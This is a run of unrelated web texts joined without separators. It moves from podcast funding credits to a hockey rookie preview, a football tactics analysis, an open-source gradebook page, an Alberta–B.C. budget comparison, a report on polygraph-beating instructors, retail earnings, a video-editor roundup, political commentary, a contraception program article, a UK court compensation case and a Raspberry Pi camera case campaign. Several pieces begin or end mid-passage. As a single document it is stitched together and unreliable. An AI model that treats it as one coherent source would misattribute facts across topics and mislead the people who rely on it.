Ms. Tippett: Our lovely theme music is provided and composed by Zoe Keating. And the last voice that you hear singing our final credits in each show is hip-hop artist Lizzo.
On Being was created at American Public Media. Our funding partners include:
The John Templeton Foundation.
The Fetzer Institute, helping to build the spiritual foundation for a loving world. Find them at fetzer.org.
Kalliopeia Foundation, working to create a future where universal spiritual values form the foundation of how we care for our common home.
The Henry Luce Foundation, in support of Public Theology Reimagined.
The Osprey Foundation, a catalyst for empowered, healthy, and fulfilled lives.
The Dallas Stars will be hoping one of the players in the mix is defensemen Julius Honka, the 14th overall pick in 2014. The Finnish right-hander has already made his NHL debut, but played just 16 games last year meaning he has kept his rookie eligibility for the upcoming season.
Despite the offseason changes Honka is expected to make the jump to become a full time NHL defensemen this upcoming season.
His offensive presence and calm puck moving capabilities have already drawn him some comparisons to the Stars top defensemen, John Klingberg.
But for him to be a true Calder candidate he will have to shine, alongside a resurging offensive Dallas lineup. In the past seven seasons just one defensemen has claimed the award, Aaron Ekblad in 2014-15. Ekblad posted 39 points that season including 12 goals to beat out forwards Mark Stone and Johnny Gaudreau.
In his 16 career games, Honka recorded just one goal and five total points, at that pace he would end an 82 game season with just 26 points, but that came in a limited role. Under new coach Ken Hitchcock, defensive efforts will take more of a priority meaning reliable defensive play will be awarded with more ice time. If he builds trust Honka could find his way onto the second line for top four minutes. In an increased role that could see special teams play, Honka could show his true offensive talent.
In two seasons in the AHL, Honka produced 75 points in just 123 games. Similar numbers in the NHL would put him on pace for 50 points. Assuming a drop off in production due to the level change and role change, Honka could still wind up in the point range that saw Ekblad take the title. Combine that with solid defensive stats under a Ken Hitchcock system and Honka makes a formidable finalist candidate.
While competition this year may not have as many big names, there are still a number of challengers. Defensemen Charlie McAvoy and Thomas Chabot, if he makes the Senators, are two other notable blueliners to compete with Honka. Talented forwards Clayton Keller, Nico Hischier, Brock Boeser and Nolan Patrick all have high expectations as well.
If none of the forwards hit off for ridiculous goal or point totals, it could once again be a defensemen’s year to win. All the forwards listed above are on teams that were near the bottom of the standings last year meaning explosive production may be a tall ask.
Manchester City were without Vincent Kompany and Joleon Lescott, so Micah Richards moved into the middle. Mario Balotelli continues to start ahead of Edin Dzeko in big games, while James Milner was left out with Samir Nasri preferred.
Roberto Di Matteo played Fernando Torres upfront, Ramires on the right and John Obi Mikel in the holding role. John Terry was out.
Early battle
Chelsea lined up in the 4-2-3-1 shape that Di Matteo prefers, with Raul Meireles in support of Torres, and Frank Lampard much deeper. This system changes the role of the wide players significantly: it forces them to form a second bank of four without the ball (whereas in the 4-3-3 they stayed much higher up, especially as Andre Villas-Boas wanted them to press).
This was significant: Juan Mata often got caught too high up the pitch when Pablo Zabaleta made forward runs past him, and when City switched the play out wide they often looked dangerous, particularly after their wide players had come inside and made Chelsea narrow. Ramires, on the other side, is naturally both more disciplined and happy tracking back, and Gael Clichy caused fewer problems.
City dominate but fail to score
City dominated possession in the first half and should probably have had a goal to show for it, but they struggled to create clear-cut chances. Their closest efforts, Samir Nasri’s lob onto the bar and Balotelli’s effort just wide, came with attacks straight down the middle of the pitch.
Indeed, they were very focussed on playing through the middle, with the two wide players coming inside. Often one of the forwards would move out to the left flank, but when they stayed in the middle and one dropped deep, it meant a 3 v 2 situation with Nasri, David Silva and either Sergio Aguero or Balotelli forming a triangle around Lampard and Mikel.
There were further problems when Yaya Toure burst forward into this space – Meireles generally watched de Jong – and it was surprising that City didn’t create more from this zone.
At the other end, Torres generally played up against Richards (probably to combine with Mata towards that side) and drifted wide to the flanks. One area where Chelsea did look promising was when Meireles drifted away from de Jong (who often had to cover too much ground with Yaya Toure high up the pitch, so got drawn to runners) but his end product was poor.
Second half
Chelsea made two changes during the second half – Michael Essien on for Meireles, with Lampard up higher, then at 1-0 Didier Drogba came on for Torres, presumably to help Chelsea hold the ball up when under pressure.
But this was all about City’s substitutions. At half-time Mancini took the curious decision to remove Balotelli and bring on Gareth Barry. This meant Aguero and Yaya Toure moving higher, and the intention was probably to get the latter into more dangerous positions, and more specifically to get him permanently into that zone between the lines Chelsea were vulnerable in.
It didn’t really work, though – City didn’t play any worse than they had at the end of the first half, but Chelsea’s fortunate goal meant City simply lacked attackers with the opposition getting ten outfield players behind the ball. They now had too many central midfielders.
Key changes
Mancini inevitably had to bring on another forward, and revert to the system he used at the start of the match, with Toure alongside one holder (though this time it was Barry, not De Jong).
The first forward summoned was Carlos Tevez. Whereas in the first half Aguero and Balotelli played as a front two, switching positions, Tevez was put firmly between the lines to pick up balls in that zone. He played the role brilliantly – whereas Toure’s natural instinct is to drive towards goal, this often isn’t possible when the opposition are playing deep and getting men around the player in possession. Tevez was useful because of his close control and one-touch passing in tight areas – he continually found space between the lines and kept City’s play flowing – Nasri and Silva’s runs looked better when they had Tevez on the same wavelength.
But City still couldn’t breakthrough – Chelsea were playing very, very deep – the defence sat on the edge of the box, the midfield barely crossed the halfway line at 0-1. Aguero, Tevez, Nasri and Silva were playing decent but very intricate football, and City really needed a more static central striker for the other players to work around. Edin Dzeko came on for Silva, Aguero went right-ish, and now City had much more of an all-round threat. Suddenly, they were working the ball wide and getting crosses into Dzeko – they were rarely successful, but they were attacking from different angles, stretching the play, making Chelsea work harder across the pitch. Dzeko’s presence won the corner that resulted in the first goal (a very indirect contribution to the goal, granted, but he was having an impact).
Notably, both Dzeko and Tevez could play with their back to goal – that helped for the Nasri winner, as Tevez’s awareness and touch were excellent when playing the one-two.
Conclusion
Let’s not pretend that this was a tactical masterclass from Mancini – he got his first change broadly wrong, and the second and third substitutions were the obvious choices. Instead, this simply showed what a great range of options City have – Tevez and Dzeko are not merely established forwards, they also offer completely different methods of attack to the other forwards.
This was the sign of a good side – not because of the usual cliches about squeezing out results in a tight game, but because City showed they had flexibility upfront and can deal with different challenges by responding with a fresh approach in the final third.
OpenGrade is open-source software for teachers to keep track of grades. It runs on Linux, as well as some other operating systems.
Features:
online grade reports
weighted grading or straight points
drop and reinstate students without losing grades
extra credit, grades that don't count, and dropping N lowest grades
digital watermarks to detect tampering
marking periods
attendance
export to spreadsheet and other formats
reconcile inconsistent versions of a file
auto-save and automatic backups
undo
scripting
user-defined extensions
Download
software source code documentation, including instructions
for installing the software opengrade_doc.pdf
To install OpenGrade, download the software and the documentation, and follow the instructions in section 1, Installing.
You might also want to check out GradeL, Ggradebook and GNota, which are open-source programs along similar lines.
OpenGrade is designed to allow you to post your students' grades online, if you have a server set up with the relevant software. It supports two open-source software packages on the server side: Spotter and Online Grades.
OpenGrade is listed on the Freecode open-source software site. If you go there, you can look at the history of releases, subscribe to e-mail announcements about new releases, and make public comments about the software.
License
OpenGrade is distributed under the GPL license, version 2. You can pop up the license in OpenGrade by choosing About from the File menu.
Programming Stuff
OpenGrade is written in Perl 5, using the Perl/Tk GUI toolkit. I would welcome participation in the project from other programmers. If you think you might want to contribute, please drop me an email! It's fine if you simply email me patches, but the source code is also available via a public repository using the Git revision control system. To check out a copy, first install git (e.g., with "apt-get install git-core" on Ubuntu), and then do this:
git clone git://github.com/bcrowell/opengrade.git
git commit -a -m "description of your changes" git format-patch origin/master
Operating Systems OpenGrade Runs On
Linux
If you change the source code, and want to submit your changes as a patch, do the following in the directory where the source code is:Email the resulting .patch file to me.
I use OpenGrade on Ubuntu Linux on a day to day basis. The documentation gives instructions for installing OpenGrade on Ubuntu, with its dependencies. I'm hoping that someone with the necessary skills and privileges will step forward to create an actual OpenGrade package for Ubuntu, but installing it on Ubuntu is actually pretty easy if you read the documentation. Debian should work the same as Ubuntu. Mandriva has been doing a nice job of packaging OpenGrade and staying up to date with new versions; you can find the latest version that's been packaged via the database at zarb.org, and then install it via urpmi.
FreeBSD
Should work fine. Sound requires an external "aplay" binary (distributed with ALSA on Linux), which may not be available on FreeBSD.
Windows
The documentation explains how to install Opengrade on Windows. I used to put considerable effort into testing and support on Windows because my wife was using OpenGrade on Windows at work, but now she no longer has a Windows machine at work. Since I don't have convenient access to a Windows machine, I no longer actively put any time into testing OpenGrade on Windows. I'll always be grateful for reports of whether the latest version works properly on Windows, and if any Windows incompatibilities have crept in, I would welcome patches from Windows users with the necessary programming skills.
MacOS X
The terminal-based user interface works fine on MacOS X, and in fact that's the system I originally developed it on. The implementation of Perl/Tk on MacOS X has been gradually improving, but I no longer have a Mac that runs any recent version of MacOS X, so I'm unable to try it myself. I believe that Perl/Tk only works on MacOS under X-Windows compatibility, not as a native Aqua GUI. In June 2005, I heard from another user, who said he had it running on MacOS X 10.4, but setting the preferences didn't work (which would be an issue with my code, not Perl/Tk). I would welcome a patch to fix this bug from a MacOS X user with the necessary programming skills.
Acknowledgements
That's according to the latest budget estimates from each province and the most recent federal census data.
With nearly 4.1 million residents, Alberta is now only about half a million people shy of B.C.'s population.
And while the neighbouring provinces are increasingly comparable in size, their balance sheets are strikingly different.
Alberta expects to spend about $4.7 billion more than B.C. in the current fiscal year while collecting $8 billion less in revenue.
That discrepancy is why B.C. has been running budget surpluses while Alberta faces a deficit of more than $10 billion.
What if Alberta spent like B.C.?
The opposition Wildrose seized on the NDP government's fiscal update this week, noting how relatively frugal Alberta's neighbours to the west are being.
"If Alberta spent the same levels on government as British Columbia, the deficit would be significantly reduced or eliminated," the party said in release.
And they're right, at least in theory.
At B.C.'s spending rate of $10,560 per person, Alberta's expenses for this fiscal year would total $42.9 billion.
Coincidentally, Alberta's projected revenue for this year is also $42.9 billion.
Of course, suddenly slashing Alberta's budget to that level would require drastic measures — such as cutting health spending in half or completely eliminating the departments of post-secondary education, children's services and community and social services.
And, when it comes the Alberta-B.C. budget discrepancy, there is another factor at play.
B.C. collects nearly $1,300 more tax per person
While the Alberta government spends more than its B.C. counterpart, it also collects less tax.
A lot less tax.
Including health premiums, the B.C. government will bring in about $29.4 billion through its various forms of taxation this fiscal year, compared to $20.5 billion in Alberta.
On a per-capita basis, that works out to $6,334 per person in B.C. versus $5,052 in Alberta.
Alberta makes up a lot of that gap from other revenue sources, however, especially its investment income, which amounts to $710 per person — nearly triple B.C.'s rate.
Resource revenue projections were up also significantly in Alberta's third-quarter fiscal update and now total $597 per person, compared to $551 in B.C., where forestry makes up a big chunk of that file.
Still, Alberta's resource revenues are a far cry from a decade ago, during the oil-and-gas boom.
In the 2005/06 fiscal year, they amounted to $4,360 per person.
It may also surprise many Albertans to learn that they now receive more, per capita, in transfers from the federal government than their neighbours to the west — about $215 more, to be precise.
That includes half a billion in special federal aid related the Fort McMurray wildfire, but even if you take that out, Albertans are getting about $90 more per person than British Columbians from Ottawa this year.
Alberta spends 25% more per capita
Overall, Alberta spends 25 per cent more, per person, than B.C but the discrepancy varies by government function.
Health spending — the largest single expense for all provinces — is about 20 per cent higher in Alberta, at $5,084 per person compared to $4,242 in B.C.
The biggest difference, though, is in education.
For every man, woman and child in the province, Alberta spends $1,978 on elementary and secondary schooling.
That's 43 per cent higher than the rate in B.C. — but it's important to note that Alberta has more school-aged children.
According to population estimates from Alberta Health, there are roughly 747,000 residents between the ages of 5 and 19 in the province. That's 18.4 per cent of the entire population.
In B.C., by contrast, there are an estimated 726,000 residents in that same age range, or 15.6 per cent of the population.
In terms of spending per school-aged child, Alberta's rate is 22 per cent higher than B.C.'s.
Higher wages, higher costs
To a certain extent, it's to be expected that running a government in Alberta would cost more than in B.C., according to Trevor Tombe, an economist at the University of Calgary.
"We do have higher wages in Alberta than in B.C. — quite a bit higher — so that will make it more expensive for governments at all levels here to operate, because it's that much more expensive to hire staff," he said.
"I'd say that's a symptom of a good problem to have. A province with a strong private sector that has high wages will just naturally lead labour costs in government to be higher. But that doesn't fully account for it."
Albertans' average weekly earnings have been on the decline in recent years but remain about 20 per cent higher than those of British Columbians.
Still, Tombe said public sector compensation only makes up about half of the Alberta government's total spending, so there are other factors driving up the province's costs relative to B.C.
He noted the gap in health expenses, in particular, because Alberta's "substantially younger population" would typically result in lower health costs, all other things being equal.
"If you do an adjustment for the demographic and gender distribution in B.C. versus Alberta, we ought to be spending even less, so it makes the differential between us and them that much greater," Tombe said.
Ceci: 'I'm not going to apologize'
Finance Minister Joe Ceci told CBC News Alberta's economy is beginning to turn around and stood by his government's decision not to slash spending.
"I'm not going to apologize for not putting Albertans at risk through this downturn by cutting deeply into programs and services," Ceci said.
"That's been done before … it didn't work. People suffered. We got behind on infrastructure investments. We're not doing that."
Ceci said Alberta's revenue stream has been "too narrowly focused" on oil and gas royalties and that needs to change over the medium-to-long term.
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Nevertheless, a grand jury in Oklahoma has just decided that there is enough evidence that Williams is doing more harm than helping innocent people calm their nerves. In November, Williams was charged with multiple counts of mail fraud and witness tampering, for allegedly showing people how to lie and hide crimes in order to get security-clearance-level jobs with the federal government. Williams calls the charges against him an “attack on his First Amendment rights,” and says that he’s only being targeted because he is a vocal critic of a method that is “no more accurate than the toss of a coin in determining whether a person is telling the truth or lying.”
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On the accuracy aspect at least, he’s got a point. In United States v. Scheffer, in 1989, the Supreme Court ruled that a judge could reject polygraph results in criminal cases, citing a general lack of scientific consensus as to their reliability. Many state and federal courts now consider them inadmissible as evidence. But it’s a decision that’s still up to individual judges. And even in places where polygraph tests may not be admissible in court, some branches of law enforcement still believe that they have other, non-prosecutorial, value.
Many criminologists now believe that "getting nervous" shouldn’t indicate a guilty conscience, and that consistent story-telling is a much better indicator of the truth.
For instance, studies have shown that a polygraph can have a kind of placebo effect—that it can elicit new information from people who hadn’t been fully cooperating before, who now feel that they have no choice but to come clean. In a majority of jurisdictions, cops and parole officers also use regular polygraph tests to keep post-conviction sex offenders accountable for their actions; researchers have suggested that the process alone discourages recidivism, whether or not the results are 100 percent accurate. (Other researchers disagree.)
But aside from those legal uses, it was the job-screening use of the polygraph that likely sparked federal prosecutors’ interest in Williams’ case. Last year, McClatchy reported on an unprecedented secret federal investigation of other polygraph instructors like Williams; Chad Dixon was sentenced to eight months in prison after pleading guilty to similar charges. Marisa Taylor and Cleve R. Wootson, Jr. wrote, “The criminal inquiry, which hasn’t been acknowledged publicly, is aimed at discouraging criminals and spies from infiltrating the U.S. government by using the polygraph-beating techniques.”
It’s probably worth remembering that news of the investigation came out in September 2013, after the “Summer of Snowden,” a series of revelations that set the entire government reeling. A former National Security Agency employee, Russell Tice, told U.S. News & World Report that the agency regularly subjects its agents to polygraph tests, but that he and his colleagues had figured out how to pass every time. (Tips include biting your tongue to spike the sensors’ output, and then visualizing cool beers on warm summer nights to reduce them.)
In their article for McClatchy, Taylor and Wootson also described the polygraph-prep instructors’ methods, “which are said to include controlled breathing, muscle tensing, tongue biting and mental arithmetic.” The overall goal of the preparation process is to teach people to control the otherwise-involuntary physical stress responses that the polygraph’s sensors pick up on during the interview. Or, as Williams himself summed up quite simply in a recent tweet: “The polygraph operator monitors your respiration, GSR, & cardio. Get nervous on the wrong question & he calls you a liar!”
Many criminologists now believe that “getting nervous” shouldn’t indicate a guilty conscience, and that consistent story-telling is a much better indicator of the truth. Psychologists are currently testing new techniques that “induce cognitive load” as potentially more accurate ways to weed out the lies. It takes more brainpower to keep an invented story consistent than it does to tell the truth, the theory goes. So interrogators can try to overwhelm their subjects with information, questions, and tasks, and see how flustered they get.
One review of the research explores methods like having the person draw the scene being described, tell the story in reverse-chronological order, describe the scene in detail from the perspective of a different physical vantage point, and even complete math problems in the middle of the interview. Even being made to maintain constant eye contact occupies the mind, so that can also make it more difficult for a liar to stay on message.
The planned closings, announced Tuesday, would leave RadioShack with more than 4,000 stores.
The company didn't immediately identify what stores are being closed. The electronics retailer said that the stores to be closed are being selected based on location, area demographics, lease duration and financial performance.
For the period ended Dec. 31, the electronics retailer lost $191.4 million, or $1.90 per share. That compares with a loss of $63.3 million, or 63 cents per share, a year earlier. Excluding items, RadioShack lost $1.29 per share.
Analysts expected a loss of 16 cents per share. Revenue declined to $935.4 million from $1.17 billion. Sales at stores open at least a year fell 19 percent on weaker traffic and the soft performance of its mobility business.
Photo by FaceMePLS.
Earlier this week we asked you what video editing software you thought was best. You responded in force, and we're back to share the top six tools Lifehacker readers use to edit their videos. While we normally limit the Hive Five strictly to five options, given that several of the options here cost more than a used car, we've expanded this Hive in order to provide a balanced spread. In this particular Hive Five, we can't promise cheap and open source, but we can promise that the contenders are—price tags and all—worthy of inclusion. A final note regarding pricing: many of the video editors can only be purchased as part of a bundle of software. For example, Adobe Premiere is part of the Adobe Creative Suite Production Premium bundle, and also includes, among other software, Adobe Photoshop, Illustrator, and After Effects.
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Sony Vegas Pro / Windows / $450
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Sony Vegas Pro has the distinction of being frequently noted as an overlooked but high-powered underdog by many readers. While it doesn't sport as flashy of a resume as say Final Cut Pro, it is feature-packed. Vegas Pro had the ability to mix multiple video formats and resolutions without recoding, a full seven years before Final Cut Pro added the same feature. Vegas Pro started life as an audio editor and was later bought by Sony, but between its roots and Sony inheritance it brought superior sound editing tools to the table before its competitors, and still boasts impressive audio capabilities. Like Final Cut Pro, Vegas Pro has support for add-ons for Vegas Pro, which are actually user scripts coded in Visual Basic or Java Script, cranked out by communities online. Vegas Pro has no specialized hardware requirements and operates on nearly any Windows based machine, giving it both a price and compatibility edge over more expensive and hardware dependent video editors.
iMovie / Mac / $79
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When your Mac-loving friends get that look in their eyes and say things like "It just works!" they're under the influence of gems like iMovie. iMovie is a consumer-level movie editing tool available as part of the iLife bundle of media tools. It features professional touches like frame stabilization for smoother movie playback, has drag and drop editing, easy to configure transitions, and even easier special effects for headache-free movie editing. You can get down to the dirty business of creating your stop-motion Lego mini figure space opera without needing to get bogged down thanks to the simple time lines and the easy to use interface in iMovie.
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A veritable wise old man in the video editing world, Adobe Premier has been around for 18 years. One of the strongest selling points for Premier, aside from the rock-solid editing provided by nearly two decades of improvements, is the tight integration with other software packages in the Adobe Creative Suite, like Adobe After Effects. Premier lays claim to having some of the fastest HD video importing around, and even supports importing video projects from Apple Final Cut Pro. One of Premier's killer features is the built in speech-to-text function, which creates a search ready index of spoken words in your video. No more scrubbing through hours of footage looking for an exact quotel; you can search directly for it.
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Final Cut Pro / Mac / $1299
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Final Cut Pro has built quite a resume in a very short period of time. Several Hollywood movies have been edited using just Final Cut Pro, including The Curious Case of Benjamin Button, No Country for Old Men, and Cold Mountain. If it's good enough for academy award winners, and assuming your pocket book can handle it, it should be more than good enough for your next epic masterpiece. Final Cut Pro supports non-linear and non-destructive editing of a wide variety of video formats. You can easily mix video files of varying formats and resolutions without having to spend time recoding the files. There are extensive tools for filtering and color correcting your video built right in with support for third party plugins. Since version 4 you've been able to apply effects in real time thanks to the introduction of DynamicRT.
Windows Movie Maker / Windows / Free
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Although Windows Movie Maker has played second fiddle to the robust iMove in the consumer market—especially since were released around the same time—it's tough to beat free when all you need is basic editing. Windows Movie Maker supports video transfer from most consumer camcorders via FireWire and USB, and sports a time-line-based interface for easy drag and drop shuffling of your video clips. Windows Movie Maker supports over a 100 transitions and movie effects, and the Vista version has Direct3D integration for even higher quality effects. All effects are grabbed from XML, so you can create your own with a little know-how, or look to repositories on the web to find more.
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First released in 1989 for the Mac II, Avid Media Composer is the dominant application in professional broadcast and moving editing. Avid Media Composer has extensive support for multiple cameras, making it easy to group and select the best shots. There are a host of effects like inter-frame cloning and removal of imperfections when importing non-digital sources. Avid Media Composer stands out from other high-end video editors by including non-Avid products in its software bundle. Rather that reinventing already excellent products from other companies, Avid bundles software from third parties to fill needed roles like Sonicfire Pro for advanced audio editing and Sorenson Squeeze 5 for DVD compression. The newest version of Avid Media Composer can be used as a stand-alone application, unlike prior versions which were tightly integrated with bundled hardware and network storage tools.
Now that you've seen the contenders for top video editor, it's time to log your vote:
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In the wake of Donald Trump’s stunning and disastrous Electoral College victory, analysts have zeroed in on one demographic group that bears the burden for Hillary Clinton’s defeat: white voters without college degrees. Crudely grouped under the rubric “white working class,” these voters helped push Trump past Clinton in the battleground states of Pennsylvania, Ohio, Michigan, and Wisconsin. In the weeks since, this same group — a vast and heterogeneous cohort that represents more than 40 percent of the electorate in all four states — has been the subject of a maddeningly unhelpful public debate. Were some of these voters drawn to the siren of Trump’s white nationalist campaign? Yes, obviously. Were some of them expressing frustration at the social and economic decline of their communities, and the manifest inability of Democratic politicians to address it? Yes, just as obviously. Might these things all be related, in some fundamental way? You’re better off asking President Obama than a liberal pundit. But while a chunk of this amorphous group may have decided the election by defecting from Obama to Trump, white Midwesterners without college diplomas were not the only Americans who voted this November. Nor are they the only demographic that can tell us something about the nature of the campaign and the evolution of both major parties.
It was assumed that the wedding reception would be a dazzling display of the Capital's who's who. After all, the groom Faizal Patel's father is Ahmed Patel, Sonia Gandhi's political secretary. Patel's party colleagues were taken aback when the invite for the wedding reception did not materialise. Patel kept the reception on March 27 at a government bungalow on Aurangzeb Road so low key that there were only a few familiar faces at the function. Sachin Pilot, Jitin Prasada, Kumari Selja, Rajiv Shukla, Deepender Hooda and Suresh Pachauri were some of the recognisable guests. Actor Shah Rukh Khan made a late appearance. Most of the invitees were close friends and relatives. The bride's family owns the Nedous heritage hotels in Kashmir and is related to the Abdullahs. Patel assuaged hurt feelings by hosting a series of dinner parties for his party colleagues. The Prime Minister and Sonia Gandhi, however, attended the nikah.
In the CVC's absence
WORK at the Central Vigilance Commission has come to a standstill with the removal of PJ Thomas. It is not just vigilance case files which are waiting to be disposed of, but several promotions in the CBI have been held up as well. The vacancies include: three additional directors, four DIGs, five SPs and a special director. The government has taken a policy decision that the vacancies will be filled only once the new CVC is appointed. To compound the delay, the secretary to the CVC, KS Ramasubban, has completed his tenure and the government feels that in the absence of a new secretary to the commission, a new CVC cannot be appointed.
Dancing to her tune
Leela Samson's appointment as chairperson of the Censor Board has raised the question as to whether the well-known Bharatanatyam dancer will have time to devote to her new assignment. Last year, Samson was appointed chairperson of the Sangeet Natak Akademi, another prestigious position. The academy is the apex body for the performing arts. Samson is also ex-officio head of the south zone cultural centre. Apart from these commitments, she has a full-time job as director of Kalakshetra in Chennai. Samson, who was once Priyanka Gandhi's dance teacher, has no particular connection with the world of cinema. After her appointment, Samson candidly admitted that she seldom watches films.
... contd.
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On Monday, the New York Times published a lengthy report on the smashing success of a six-year plan to offer long-acting contraception, such as implants or the IUD, free of charge to any low-income woman or teen who wanted them. Funded by outside donors, the program has been a tremendous success, lowering the teen birth rate by 40 percent between 2009 to 2013. The abortion rate for teenagers fell by 42 percent.
“There was a similar decline in births for another group particularly vulnerable to unplanned pregnancies: unmarried women under 25 who have not finished high school,” Sabrina Tavernise writes. The program is credited with helping a huge number of young women wait until they’re a little older to have children, giving them time to finish their education and get a foothold in the working world first.
I’ve been touting this program for awhile now, but unfortunately, the money has run out. The hope was that the state legislature would help the young women of Colorado to live better, more economically successful lives by voting to fund the program itself. However, the Republican-run legislature decided against it. The official reason: The program is redundant now that Obamacare offers “free” birth control.
That excuse has some holes in it, starting with the fact that Obamacare does not offer free birth control. Obamacare requires that insurance plans cover birth control without a copay, but you either have to buy the insurance or earn it as an employment benefit in order to get that coverage. A lot of the women and girls who are eligible for the Colorado program don’t have insurance. There are additional obstacles for teens who want the IUD. “Advocates also worry that teenagers — who can get the devices at clinics confidentially — may be less likely to get the devices through their parents’ insurance,” Tavernise writes.
The real issue here is that opponents of accessible birth control want to keep sex dangerous, in the hope that danger will discourage girls and women from having sex. This was clear in the debate over the program’s funding. “I hear the stories of young girls who are engaged, very prematurely, in sexual activity, and I see firsthand the devastation that happens to them,” Republican state Rep. Kathleen Conti argued. “I’m not accrediting this directly to this program, but I’m saying, while we may be preventing an unwanted pregnancy, at the same time, what are the emotional consequences that could be coming up on the other side?”
Colorado isn’t the only state where people are anxious that IUDs might be just too good at preventing teen pregnancy. As Media Matters reported today, controversy is flaring over a Seattle program that allows teen girls to get IUDs and implants from a school-based health center. Fox News’ coverage called long-acting contraception “invasive birth control” while host Jedediah Bila called it “an overreach in schools.” Breitbart scared readers about “serious side effects” and warned that the IUDs are “free of charge and free of parental consent.”
A violent Somali criminal with 30 convictions to his name has won almost £80,000 compensation from the government after he was locked up for too long.
Abdulrahman Mohammed, 39, has been jailed more than a dozen times for crimes including affray, knife possession and multiple assaults and robberies.
But a judge has now ruled that the Home Office kept him in prison for 445 days too long whilst trying to deport him.
Despite describing him as 'a prolific and violent offender', Judge Edward Pepperall QC awarded him £78,500 in compensation.
In a description described as 'ironic understatement' in court, Mohammed's own lawyer had said 'he might not be considered an asset to society'
The judge said: 'I can well understand why the Home Secretary might wish to deport him.'
But Judge Pepperall ruled that Mohammed had been 'falsely imprisoned' and was 'entitled to justice in a civilised society'.
The European Court of Human Rights had ordered that he stay in Britain despite the government's attempts to deport him and it has now been ruled he was unlawfully detained while authorities worked out how to handle his case.
The three periods of unlawful detention are believed to have come after lawful prison terms, following which the Home Office kept him in while his deportation was considered.
The court heard Mohammed became a 'habitual and violent criminal' after coming to the UK
Mohammed suffered torture and 'unimaginable barbarity' when he was 13 and living with his family in Mogadishu, the court heard.
His uncle was shot dead and a girl was raped in front of him, before thugs sliced through his cheeks with bayonets in a bid to cut out his tongue.
He was then 'branded with a burning cattle prod' before his torturers told him, 'remember us by this'.
After he managed to flee Somalia, he spent two years in a refugee camp before finally making his way to Britain in 1996, aged 17.
The court heard he had been left with post traumatic stress by his youth in Somalia.
But after getting into Britain, he embarked upon a life as 'a habitual and violent criminal', the court heard.
Judge Edward Pepperall said he understood the Home Office wanted rid of Mohammed, but it had no reason to detain him
The judge listed a total of 30 convictions on his record between 1998 and 2013, for which he served 13 custodial sentences.
He later said in a statement: 'I was a young boy in a new country with freedoms and a culture unlike anything I had ever experienced before. I was drawn to so many things which were not good for me and I did not know how to stop or impose any limits on myself.'
After being refused asylum on entering Britain, he had been granted leave to remain - but only until August 2000.
In January 2008, the Home Secretary decided enough was enough and made a deportation order against him.
But lawyers took his case to the European Court of Human Rights and the UK was ordered not to remove him from the country 'until further notice'.
There was no prospect of deporting him, but he was kept in immigration detention for three periods between 2012 and 2016.
Labour's Jacqui Smith was Home Secretary when deportation proceedings began. Theresa May was in charge of the Home Office when Mohammed was unlawfully detained
Home Office lawyers accepted at a late stage in the case that he had been unlawfully detained for 445 days in total, the judge said.
Judge Pepparall said there was 'clear independent evidence' that Mohammed had been tortured and Government officials had not 'seriously engaged' with his rights.
'The Home Office's own policy required it to release Mr Mohammed unless there were exceptional circumstances justifying continued detention.
'As the Home Office now concedes, there weren't', the judge said.
He added: 'Mr Mohammed is prolific and violent offender. I can well understand why the Home Secretary might wish to deport him.
'She has not, however, been able to do so, largely because of the very real risk that deportation to Somalia would pose.'
It is believed Mohammed was kept in immigration detention centres (like that pictured) while his deportation was considered. File photo
The judge concluded: 'Some reading this judgment might well question why a foreign citizen who has so thoroughly abused the hospitality of this country by the commission of serious criminal offences is entitled to any compensation.
'But there are few principles more important in a civilised society than that no one should be deprived of their liberty without lawful authority.
'Justice should be done to all people.
'He is not the most wicked of men, but his presence in the UK is not conducive to public good. Nevertheless, in a civilised society, he is entitled to justice.
The SmartiPi Twist is a flexible arm and case that holds a Raspberry Pi Zero ( all versions), official Raspberry Pi camera ( all versions), and Pi zero pHATs (HATs that are the size of a Pi Zero). Both the standard Raspberry Pi camera and Raspberry Pi IR (infrared light) night vision camera will fit in the case. The arm can be lengthened and shortened by removing the sections by hand. The arm includes a base that can attach to a flat surface. Your power and usb cables can run down the center. The included pHAT cover will a clear window will allow you to add pHATs to add light to your scene if wish.
Below image uses the Pimoroni scroll HAT HD. There are a number of visible LED pHATs on the market for you to choose from. Other examples being Unicorn pHAT, Scroll HAT, and Waveshare LED pHAT.
We could not find any infrared LED pHATS on the market to use with the PI IR camera. You could create your own with prototype boards such as Protozero , Adafruit Perma Proto Bonnet, and FE-PI PROTO Z V1 and some infrared LEDS. The SmartiPi Twist does have enough room inside to mount Bright Pi. Bright Pi will put out infrared infrared and visible light.
There are many different factors that affect adequate lighting of a scene. Lighting is generally cumulative. We can't guarantee using a specific pHAT will adequately light your scene in a completely dark environment. Distance to the subject, ambient light, and type of camera are all factors.
The cover also has enough room to hold Bright Pi from Pi Supply. This handy little board puts out visible and IR light and connects to the GPIO pins on the Pi.
Display pHATs can also be used with the case. Below showing the Pimoroni four letter pHAT.
The case can be used with or without the pHAT cover. When used without the cover, the case is very slim and compact and can also be used with the arm.
The Raspberry Pi Zero and Raspberry Pi camera are not included with the kits.
The Pi Zero and Official Pi camera are held inside the main case. The power,USB port, and HDMI port are accessible. The SD card is not accessible once the case is closed.
Once the main case is closed, a punch out part in the plastic case can be removed and the pHAT can be inserted onto the top of the case. The cover with the clear lens is then assembled over the top. Any pHAT without connectors extending out the sides should fit inside the cover. Many of the LED boards on the market are very bright and you have plenty of height in the cover to add your own LEDS to prototype boards to create your own custom LED light source.
Clearance between the top of the main case and inside of the pHAT cover is 14mm. The Pi Zero GPIO pins tips are flush with the outside surface of the main case.
The SmartiPi Twist Kit comes with everything in the photo below. You can select to receive one, two, or three kits based on the reward that you choose.
If you would like extra individual sections for the arm, they will be available for purchase as an add on after the campaign is over.
The case in the pictures are samples and 3D printed prototypes. We need your project support in order to order to make the molds to make the injection molded parts. The funds that we raise will go to purchasing the mold and ordering the first minimum run of injection molded parts. By pledging to this project you will allow us to bring this case to the market.
The base has a hole in the center that the arm attaches to. The mounting holes on the side allow for screwing to a surface.It can also be attached to a surface with double sided tape.
Eight arm sections come with the kit, but extra sections will be available after the campaign for purchase. Extra sections allow for even more flexibility. There is no limit to how many sections that can be added. But, we recommend not adding more than twenty sections if the camera is to be held in a straight line horizontally. The friction holding the sections will eventually slip. More can can be added if the arm is to be positioned vertically as there will be less stress on the friction between the sections.
The case has a 1/4"-20 standard camera tripod thread on on the bottom. This means you can attached it to a tripod or to any mount that has a standard tripod thread. These types of mounts are available for purchase worldwide.
The SmartiPi Twist is the ultimate Octoprint case. It allows you to position the Pi camera to monitor your 3D prints while also managing power and USB cables. The arm can be attached to the included base in a perpendicular orientation and also a parallel orientation as shown below.
